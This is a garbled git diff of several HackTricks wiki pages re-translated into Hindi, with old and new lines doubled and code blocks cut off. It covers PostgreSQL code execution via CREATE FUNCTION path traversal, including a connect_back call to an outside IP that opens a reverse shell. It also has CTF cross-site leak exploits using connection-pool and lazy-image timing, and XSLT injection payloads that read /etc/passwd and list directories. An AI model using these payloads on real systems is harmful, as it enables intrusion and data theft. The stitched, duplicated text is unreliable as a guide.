`CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका ट्रैवर्सल** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस ट्रैवर्सल का **शोषण** करके डेटा निर्देशिका में एक साझा लाइब्रेरी फ़ाइल लिख सकता है और फिर उसे **लोड कर सकता है**। यह शोषण हमलावर को मनचाहा कोड निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर स्थानीय कोड निष्पादन प्राप्त होता है।
#### हमले क प्रवाह
#### हमले क प्रवाह
सबसे पहले आपको **डीएल अपलोड करने के लिए बड़े ऑब्जेक्ट्स का उपयोग करना होगा**। आप यहां देख सकते हैं कि ऐसा कैसे किया जाता है:
सबसे पहले आपको **dll अपलोड करने के लिए large objects का उपयोग करना होगा**। आप यहाँ देख सकते हैं कि ऐसा कैसे किया जाता है:
{% content-ref url="big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
एक बार जब आपने एक्सटेंशन को अपलोड कर लिया है (इस उदाहरण के लिए poc.dll नाम से) डेटा निर्देशिका में, तो आप इसे लोड कर सकते हैं:
एक बार जब आप डेटा िर्दशिका में एक्सटेंशन (इस उदाहरण के लिए poc.dll नाम के साथ) अपलोड कर लेते हैं, तो आप इसे लोड कर सकते हैं:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि निर्माण कार्यक्षमता इसे जोड़ देगी।_
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create function इसे जोड़ देगा।_
अधिक जानकारी के लिए **यहाँ से** [**मूल प्रकाशन पढ़ें**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**।**\
उस प्रकाशन में **यह था** [**कोड जिसका उपयोग पोस्टग्रेस एक्सटेंशन उत्पन्न करने के लिए किया गया था**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_पोस्टग्रेस एक्सटेंशन को कैसे कंपाइल करें इसे सीखने के लिए किसी भी पिछले संस्करणों में से कोई भी पढ़ें_)\
उसी पृष्ठ पर इस **तकनीक को स्वचालित करने के लिए** यह एक्सप्लॉइट दिया गया था:
अधिक जानकारी के लिए **यहां**[ **मूल प्रकाशन पढ़ें**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**।**\
उस प्रकाशन में **यह था** [**कोड जो postgres एक्सटेंशन उत्पन्न करने के लिए उपयोग किया गया**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres एक्सटेंशन को संकलित करने के लिए किसी भी पिछले संस्करण को पढ़ें_)\
उसी पृष्ठ पर **इस तकनीक को स्वचालित करने के लिए** यह **शोषण दिया गया था**:
```python
#!/usr/bin/env python3
import sys
@ -335,14 +337,17 @@ print(" drop function connect_back(text, integer);")
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* खोजें [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* पाएं [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या **टेलीग्राम ग्रुप** (https://t.me/peass) या **मेरा** ट्विटर 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें**.
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# Connection Pool by Destination Example
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
[**इस एक्सप्लॉइट**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html) में, [**@terjanq**](https://twitter.com/terjanq) ने निम्नलिखित पृष्ठ में उल्लिखित चुनौती के लिए एक और समाधान प्रस्तुत किया है:
In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) proposes yet another solution for the challenged mentioned in the following page:
{% content-ref url="connection-pool-by-destination-example.md" %}
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
{% endcontent-ref %}
चलिए देखते हैं कि यह एक्सप्लॉइट कैसे काम करता है:
Let's see how this exploit work:
* हमलावर एक नोट डालेगा जिसमें जितने भी **`<img`** टैग होंगे जो **`/js/purify.js`** को **लोड** करेंगे (6 से अधिक ताकि मूल को ब्लॉक किया जा सके)।
* फिर, हमलावर नोट को इंडेक्स 1 के साथ **हटा देगा**।
* फिर, हमलावर \[बॉट को पृष्ठ तक पहुंचाने के लिए] और **`victim.com/js/purify.js`** पर एक **अनुरोध** भेजेगा जिसे वह **समय** करेगा।
* अगर समय **अधिक** है, तो **हमलावा** नोट में था, अगर समय **कम** है, तो **फ्लैग** वहां था।
* हमलावर एक नोट में जितने संभव हो उतने **`<img`** टैग **लोड** **`/js/purify.js`** के साथ इंजेक्ट करेगा (मूल को ब्लॉक करने के लिए 6 से अधिक)।
* फिर, हमलावर **नोट** को इंडेक्स 1 के साथ **हटागा**।
* फिर, हमलावर \[बॉट को पृष्ठ **एक्सेस** करने के लिए बनाएगा**] और **`victim.com/js/purify.js`** पर एक **अनुरोध** भेजेगा जिसे वह **समय** करेगा।&#x20;
* यदि समय **बड़ा** है, तो **इंजेक्शन** **छोड़े गए नोट** में था, यदि समय **कम** है, तो **झंडा** वहाँ था।
{% hint style="info" %}
सच कहूं, स्क्रिप्ट पढ़ते समय मुझे वहां कुछ हिस्सा गायब लगा जहां **हमलावर ने बॉट को पृष्ठ लोड करने के लिए ट्रिगर करने के लिए इमेज टैग्स को लोड कराने का प्रयास किया**, मैं कोड में ऐसा कुछ नहीं देख रहा हूँ।
Tbh, reading the script I missed some part where the **attacker makes the bot load the page to trigger the img tags**, I don't see anything like that in the code
{% endhint %}
```html
<html>
@ -120,14 +123,17 @@ break;
</html>
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,35 +1,38 @@
# घटना लूप अवरोधन + आलसी छवियाँ
# Event Loop Blocking + Lazy images
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें</a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
[**इस एक्सप्लॉइट**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45) में, [**@aszx87410**](https://twitter.com/aszx87410) **लेजी इमेज साइड चैनल** तकनीक को एचटीएमएल इंजेक्शन के साथ मिलाकर एक प्रकार का **घटना लूप अवरोधन तकनीक** का उपयोग करते हैं ताकि वे वर्णों को लीक कर सकें
In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) **lazy image side channel** तकनीक को HTML इंजेक्शन के माध्यम से **event loop blocking technique** के साथ मिलाता है ताकि अक्षरों को लीक किया जा सके
यह एक **विभिन्न एक्सप्लॉइट CTF चैलेंज** है जिसका पहले से ही एक टिप्पणीकर्ता ने नीचे दी थी। चैलेंज के बारे में अधिक जानकारी के लिए देखें:
यह एक **विभिन्न एक्सप्लॉइट है CTF chall** के लिए जो पहले से ही निम्नलिखित पृष्ठ में टिप्पणी की गई थी। चुनौती के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
इस एक्सप्लॉइट के पीछे की विचारधारा है:
इस एक्सप्लॉइट के पीछे का विचार है:
* पोस्ट वर्णमाला के आधार पर लोड होते हैं
* एक **हमलावर** एक **पोस्ट** में **"A"** से शुरू करके **इंजेक्ट** कर सकता है, फिर कुछ **एचटीएमएल टैग** (जैसे एक बड़ा **`<कैनवास`**) ज्यादातर **स्क्रीन** को भर देगा और कुछ अंतिम **`<img आलसी` टैग** को चीजें लोड करने के लिए।
* अगर हमलावर एक "A" की बजाय **वही पोस्ट इंजेक्ट करता है लेकिन "z" से शुरू करता है।** तो **झंडा** वाली **पोस्ट** पहले दिखाई देगी, फिर **इंजेक्टेड पोस्ट** "z" और **बड़ा** **कैनवास** दिखाई देगा। क्योंकि झंडा वाली पोस्ट पहले दिखाई दी गई थी, पहला कैनवास सभी स्क्रीन को भरेगा और अंतिम **`<img आलसी`** टैग इंजेक्ट किए गए **स्क्रीन में नहीं दिखाई देंगे**, इसलिए वे **लोड नहीं होंगे**
* फिर, **जब** बॉट पृष्ठ का उपयोग कर रहा होता है, **हमलावर** फेच अनुरोध भेजेगा।
* अगर पोस्ट में इंजेक्ट की गई **छवियाँ लोड हो रही हैं**, तो ये **फेच** अनुरोध **अधिक समय** लेंगे, इसलिए हमलावर को पता चलता है कि **पोस्ट झंडे से पहले है** (वर्णमाला के आधार पर)।
* अगर **फेच** अनुरोध **तेज** हैं, तो इसका मतलब है कि **पोस्ट** **झंडे के बाद** है।
* पोस्ट को वर्णानुक्रम में लोड किया जाता है
* एक **हमलावर** एक **पोस्ट** इंजेक्ट कर सकता है जो **"A"** से शुरू होता है, फिर कुछ **HTML टैग** (जैसे एक बड़ा **`<canvas`**) अधिकांश **स्क्रीन** को भर देगा और कुछ अंतिम **`<img lazy` टैग** चीजों को लोड करने के लिए।
* यदि "A" के बजाय **हमलावर उसी पोस्ट को इंजेक्ट करता है लेकिन "z" से शुरू होता है।** तो **फ्लैग** वाला **पोस्ट** **पहले** दिखाई देगा, फिर **इंजेक्टेड** **पोस्ट** प्रारंभिक "z" और **बड़े** **canvas** के साथ दिखाई देगा। क्योंकि फ्लैग वाला पोस्ट पहले दिखाई दिया, पहला कैनवास पूरे स्क्रीन को भर देगा और अंतिम **`<img lazy`** टैग इंजेक्टेड **स्क्रीन में नहीं दिखाई देंगे**, इसलिए वे **लोड नहीं होंगे**
* फिर, **जब** बॉट **पृष्ठ तक पहुँच रहा है**, **हमलावर** **फेच अनुरोध** भेजेगा।&#x20;
* यदि पोस्ट में इंजेक्ट की गई **छवियाँ** **लोड हो रही हैं**, तो ये **फेच** अनुरोध **लंबे** समय तक चलेंगे, इसलिए हमलावर जानता है कि **पोस्ट फ्लैग से पहले है** (वर्णानुक्रम में)।
* यदि **फेच** अनुरोध **तेज** हैं, तो इसका मतलब है कि **पोस्ट** **वर्णानुक्रम में** **फ्लैग** के **बाद** है।
कोड की जाँच करें:
चलो कोड की जांच करते हैं:
```html
<!DOCTYPE html>
<html>
@ -150,14 +153,17 @@ resolve(isFound)
</body>
</html>
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें.
</details>
{% endhint %}

View file

@ -1,30 +1,33 @@
# XSLT सर्वर साइड इंजेक्शन (एक्सटेंसिबल स्टाइलशीट लैंग्वेज ट्रांसफॉर्मेशन्स)
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## मूल जानकारी
## Basic Information
XSLT एक प्रौद्योगिकी है जो XML दस्तावेज़ों को विभिन्न प्रारूपों में रूपांतरित करने के लिए प्रयोग की जाती है। इसमें तीन संस्करण होते हैं: 1, 2, और 3, जिसमें संस्करण 1 सबसे अधिक प्रयोग किया जाता है। रूपांतरण प्रक्रिया को सर्वर पर या ब्राउज़र के अंदर चलाया जा सकता है।
XSLT एक तकनीक है जिसका उपयोग XML दस्तावेज़ों को विभिन्न प्रारूपों में परिवर्तित करने के लिए किया जाता है। यह तीन संस्करणों में आता है: 1, 2, और 3, जिसमें संस्करण 1 सबसे सामान्य रूप से उपयोग किया जाता है। परिवर्तन प्रक्रिया को या तो सर्वर पर या ब्राउज़र के भीतर निष्पादित किया जा सकता है।
सबसे अधिक प्रयोग किए जाने वाले फ्रेमवर्क शामिल हैं:
सबसे अधिक उपयोग किए जाने वाले ढांचे में शामिल हैं:
- **Libxslt** गोनोम से,
- **Xalan** एपाची से,
- **Saxon** सैक्सोनिका से।
- **Libxslt** Gnome से,
- **Xalan** Apache से,
- **Saxon** Saxonica से।
XSLT के संबंधित वंशातिकता का शोधन करने के लिए, यह आवश्यक है कि सर्वर साइड पर xsl टैग संग्रहीत हों, जिसके बाद उस सामग्री तक पहुंचा जा सके। इस तरह की एक वंशातिकता का उदाहरण निम्न स्रोत में दर्ज है: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
XSLT से संबंधित कमजोरियों के शोषण के लिए, आवश्यक है कि xsl टैग सर्वर साइड पर संग्रहीत हों, उसके बाद उस सामग्री तक पहुंच प्राप्त की जाए। ऐसी एक कमजोरी का उदाहरण निम्नलिखित स्रोत में दस्तावेजीकृत है: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
## उदाहरण - ट्यूटोरियल
## Example - Tutorial
```bash
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
@ -69,7 +72,7 @@ sudo apt-get install libsaxonb-java libsaxon-java
```
{% endcode %}
क्रियान्वित करें:
निष्पादित करें:
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml
@ -91,7 +94,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
</body>
</html>
```
### फिंगरप्रिंट
### फिंगरप्रिंट
{% code title="detection.xsl" %}
```xml
@ -123,7 +126,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
```
{% endcode %}
और क्रियान्वित करें
और निष्पादित करें
```xml
$saxonb-xslt -xsl:detection.xsl xml.xml
@ -164,17 +167,17 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
</xsl:template>
</xsl:stylesheet>
```
### संस्करण
### Versions
एक्सएसएलटी संस्करण के आधार पर अधिक या कम फ़ंक्शन हो सकते हैं:
XSLT संस्करण के आधार पर अधिक या कम कार्य हो सकते हैं:
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
## फिंगरप्रिंट
## Fingerprint
इसे अपलोड करें और जानकारी ें
इसे अपलोड करें और जानकारी प्राप्त करें
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
@ -207,7 +210,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```
## जावास्क्रिप्ट इंजेक्शन
## Javascript Injection
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
@ -215,7 +218,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
</xsl:template>
</xsl:stylesheet>
```
## निर्देशिका सूची (PHP)
## Directory listing (PHP)
### **Opendir + readdir**
```xml
@ -234,7 +237,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```
### **असर्ट (var\_dump + scandir + फॉल्स)**
### **Assert (var\_dump + scandir + false)**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
@ -281,7 +284,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
&passwd;
</xsl:template>
```
### **आंतरिक (PHP-कार्य)**
### **आंतरिक (PHP-फंक्शन)**
```xml
